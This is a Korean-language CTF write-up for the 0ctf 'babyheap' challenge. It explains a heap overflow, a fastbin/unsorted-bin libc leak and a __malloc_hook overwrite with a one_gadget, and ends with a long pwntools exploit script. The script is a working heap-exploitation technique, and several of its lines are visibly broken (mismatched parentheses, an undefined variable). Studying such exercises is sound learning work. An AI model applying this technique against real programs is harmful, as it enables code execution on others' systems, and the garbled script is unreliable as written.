CTF

0ctf babyheap

hOwDayS 2018. 3. 1. 16:25




how2heap으로 unsorted bin , fastbin 을 공부하고  관련 문제가 있다고 하길래

찾아서 다른 분들의 Write-up을 참고하여 풀어 보았다.




RELRO 

 FULL RELRO

Stack Canary

 Canary Found

 NX

 NX Enabled

 PIE

 PIE Enabled





1.Allocate

- Size :

-> Result { Allocate (calloc) index n  (n은 index 번호) }

2.Fill

- index :

- (Vulnerable!) Size :  

- Content : 

3.Free

- index : 

4. Dump

- index : 

-> Result { print content of index n }

5. Exit

-> Exit


Leak은 2번 Fill을 할때 제한 없이 내용을 채울 수 없다는 것을 이용해서 libc 릭 할 수 있다.


1. Allocate index 0 ~ 3 fastbin   (0x20)


2. Allocate index 4 smallbin (0x80)


3. index 1 , 2 을 순서대로 Free 한다.


4. 그러면 2번의  fd에는 index 1의 주소가 적힌다.


5. index 0 을 Fill을 이용해 2번의 fd을 4번을 가르키도록 속인다


6. index 3을 Fill을 이용해 4번의 size을 0x32( 0x20 + 0x11(Header + prev_inuse) )에 맞춘다 -> 할당할때 사이즈를 검사한다.


7. Allocate를 두번한다


8. 그럼 index 2 에는 index 4의 주소가 들어간다.


9. index 3를 Fill을 이용해 index 4의 size를 smallbin 사이즈로 다시 맞춘다.


10. 0x80(index 4 , smallbin) 사이즈를 또 Allocate 한다 -> smallbin이 두개 일때  처음으로 할당한 것을 free 하면 unsorted bin 이 되어 fd , bk = main_arena + 88 가 된다.


10.Free index 4를 하면 index 4의 fd , bk 는 main_arena + 88 를 가르킨다.


11. index 2를 출력하면 main_arena+88의 값이 나온다. -> Libc 릭!



Allocate 다했을 경우 메모리 상황




0x555~c0으로 바꾸기 위해

상대주소인 c0 을 넣은 것이다


FULL RELRO 상태라 got를 못덮는 상태이다.

그러면 __malloc_hook 을 덮으면 된다.

 /* malloc를 진행 할 때 __malloc_hook이 null이 아닐경우(대부분 null)

그 위치에 있는 곳을 실행한다.*/









1.&__malloc_hook -35를 덮을 것이다.


2. Allocate를 두번하면

 저위치에 덮을 것이며  그러면 초록색으로 된 부분을 size로 인식하게 된다 (fastbin)


3.fill로 malloc_hook를 덮을 것이다.






&__malloc_hook이다. 이를 채우기 위해선

  exploit   = "\x00" * 3 #35 - 32             

exploit +=p64(0) * 2 #32 / 16            

exploit += p64(libc+oneshot_gadget)




1.Free(4)


2.fill(2,__malloc_hook-35) /*index 2 points to index 4*/


3.Allocate(0x60) * 2 /*index 4 , 6(!!!) */


/*index 6 point to &__malloc_hook - 35*/


4.overwrite &_malloc_hook to oneshot gadget


4.Allocate(0x68) /* Any Size */




1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
from pwn import *
 
#Local
 
 
main_arena = 0x3c4b20
oneshot_target  = 0x3c4b10 - 35 #malloc_hook - 35 = 0x7ffff7dd1aed <_IO_wide_data_0+301>:       0xfff7dd0260000000      0x000000000000007f
oneshot = 0x4526a
 
 
= process("./babyheap")
 
def Allocate(size):
        p.recv()
        p.sendline(str(1))
        p.recv()
        p.sendline(str(size))
        print p.recvline().replace("\n",""+ " "+hex(size)
 
def Fill(index , size , content):
 
        p.recv()
        p.sendline(str(2))
        p.sendline(str(index))
        p.sendline(str(size))
        p.send(content)
 
 
def Free(index):
        p.recv()
        p.sendline(str(3))
        p.recv()
        p.sendline(str(index))
 
def Dump(index):
        p.recv()
        p.sendline(str(4))
        p.sendline(str(index))
        p.recvline()
        return p.recvline() #Content
 
def Exit(index):
        print p.recv()
        p.sendline(str(5))
 
 
 
#Fastbin
Allocate(0x20)  #0
Allocate(0x20)  #1
Allocate(0x20)  #2
Allocate(0x20)  #3
 
#Smallbin
Allocate(0x80)  #4
 
##LEAK##
Free(1)
Free(2)
 
#change index 1 fd
Leak_Payload1  = p64(0* 5
Leak_Payload1 += p64(0x31)
Leak_Payload1 += p64(0* 5
Leak_Payload1 +=p64(0x31)
Leak_Payload1 += p8(0xc0)
 
Fill(0 ,len(Leak_Payload1),Leak_Payload1)
#end
 
#chang index 4 fd
Leak_Payload2  = p64(0* 5
Leak_Payload2 += p64(0x31)
Fill(3len(Leak_Payload2) , Leak_Payload2)
#end
 
#Allocate changed fd
Allocate(0x20)
Allocate(0x20)
#end
 
#Replace index 4 to original size of index 4
Leak_Payload3 = p64(0*5
Leak_Payload3 += p64(0x91)
 
Fill(3,len(Leak_Payload3) , Leak_Payload3)
Allocate(0x80)
Free(4)
 
leak = u64(Dump(2)[:8])
print(leak)
libc = leak - main_arena -88 #leak - (main_arean+88)
 
log.info("main_arena + 88 Leak : " + hex(leak))
log.info("libc Leak : " + hex(libc))
log.info("malloc_hook - 35 : " + hex(libc + oneshot_target))
 
Allocate(0x68)
Free(4)
 
Fill(2,8,p64(libc+oneshot_target))
 
Allocate(0x60)
Allocate(0x60)
 
exploit  = "\x00" * 3
exploit += p64(0* 2
exploit += p64(libc + oneshot)
Fill(6len(exploit),exploit)
#Allocate(0x20)
p.recv()
p.sendline(str(1))
p.recv()
p.sendline(str(size))

p.interactive()
 
##END##
 
 
cs






heap부분 문제는 처음이라 익스코드가 너무 길다....

연습해야겟다...







*팁 원샷 가젯을 찾을 땐 one_gadget을 이용하자


one_gadget 라이브러리